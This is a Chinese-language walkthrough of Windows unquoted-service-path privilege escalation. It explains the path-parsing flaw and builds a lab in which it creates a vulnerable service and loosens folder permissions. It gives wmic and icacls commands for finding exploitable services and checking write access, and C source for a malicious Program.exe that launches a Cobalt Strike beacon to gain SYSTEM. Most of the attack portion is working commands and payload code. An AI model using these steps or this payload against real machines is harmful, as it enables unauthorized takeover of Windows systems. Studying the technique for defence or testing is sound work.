Tusted service path提权
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的
空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
如果在注册表中存在没有被引用起来的服务路径 如果是 C:\Program Files\Some Folder\Service.exe 因为 Program Files 和 Some Folder 都存在空格,就可能存在截断,依次寻找
如下的程序并且执行阶段如下:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
提权的条件如下:
- 路径没有被引号引起来
- 服务的路径存在空格
- 服务以最高权限启动
- 当前被控权限有对应目录下写文件的能力
配置一个tusted service path 提权环境
- 首先创建一个服务,路径中存在空格,且路径没有引号
sc create "service" binpath= "C:\Program Files\Common Files\service\service.exe"
start= auto
并在对应目录创建service.exe服务
查询该服务(也可使用服务查询)
sc qc service
现在条件基本足够,还缺普通用户向文件下的写权限
权限查询,可以看到只有administrator和system有f 完全控制权
icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"
此时提权,向program file目录写program.exe,
查询program file的权限,得到user组中只有读以及执行权限,没有写权限
icacls "C:\Program Files"
接下来给普通用户赋予写权限
r读 x执行 w写 f完全执行 m修改
icacls "C:" /grant "BUILTIN\Users":W
切换到web用户,假设cs已经上线
当前为web用户,且没有高权限
查找没有引号和带有空格的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |
findstr /i /v "C:\\Windows\\" | findstr /i /v """
查找到service服务
查看是否有写权限
icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"
可以看到web有f权限
制作一个Program.exe的恶意软件,将其放到c盘目录下进行提权(原理为前文的解析顺序)
Program.exe的源码
#include<stdio.h>
#include<stdlib.h>
int main(){
system("cmd.exe /c C:\\USERS\\web\\Desktop\\cs.exe");
return 0;
}
#执行命令,让program.exe运行,执行cs.exe,从而以system权限上线(目标机器重启后)